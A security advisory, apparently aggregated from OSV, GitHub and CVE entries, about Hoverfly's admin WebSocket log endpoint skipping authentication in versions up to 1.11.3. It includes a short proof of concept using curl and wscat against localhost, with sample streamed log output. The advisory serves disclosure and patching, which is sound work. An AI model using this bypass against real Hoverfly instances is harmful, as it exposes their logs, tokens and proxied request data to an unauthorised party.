WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled in github.com/SpectoLabs/hoverfly

Open Source Vulnerabilities GO-2025-3945

WebSocket endpoint `/api/v2/ws/logs` reachable without authentication even when --auth is enabled in github.com/SpectoLabs/hoverfly

Open Source Vulnerabilities GHSA-jxmr-2h4q-rhxp

### Summary Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can: - Stream real-time application logs (information disclosure). - Gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. ### PoC 1. Start Hoverfly with authentication enabled: ``` ./hoverfly -auth ``` 2. Confirm REST API requires credentials: ``` curl -i http://localhost:8888/api/v2/hoverfly/version ``` 3. Connect to the WebSocket endpoint without credentials: ``` wscat -c ws://localhost:8888/api/v2/ws/logs # Connected (press CTRL+C to quit) # … logs stream immediately … (You would need to send a message to start receiving stream) ``` ``` wscat -c ws://localhost:8888/api/v2/ws/logs Connected (press CTRL+C to quit) > hi! < {"logs":[{"level":"info","msg":"Log level set to verbose","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"Using memory backend","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"User added successfully","time":"2025-07-20T17:07:00+05:30","username":""},{"level":"info","msg":"Enabling proxy authentication","time":"2025-07-20T17:07:00+05:30"},{"Destination":".","Mode":"simulate","ProxyPort":"8500","level":"info","msg":"Proxy prepared...","time":"2025-07-20T17:07:00+05:30"},{"destination":".","level":"info","mode":"simulate","msg":"current proxy configuration","port":"8500","time":"2025-07-20T17:07:00+05:30"},{"level":"info","msg":"serving proxy","time":"2025-07-20T17:07:00+05:30"},{"AdminPort":"8888","level":"info","msg":"Admin interface is starting...","time":"2025-07-20T17:07:00+05:30"},{"level":"debug","message":"hi!","msg":"Got message...","time":"2025-07-20T17:09:04+05:30"}]} < ... < ... ``` ### Impact Authentication bypass; an attacker receives full application logs, including proxied request/response bodies, tokens, file paths, etc.

Open Source Vulnerabilities CVE-2025-54376

Hoverfly is an open source API simulation tool. In versions 1.11.3 and prior, Hoverfly’s admin WebSocket endpoint /api/v2/ws/logs is not protected by the same authentication middleware that guards the REST admin API. Consequently, an unauthenticated remote attacker can stream real-time application logs (information disclosure) and/or gain insight into internal file paths, request/response bodies, and other potentially sensitive data emitted in logs. Version 1.12.0 contains a fix for the issue.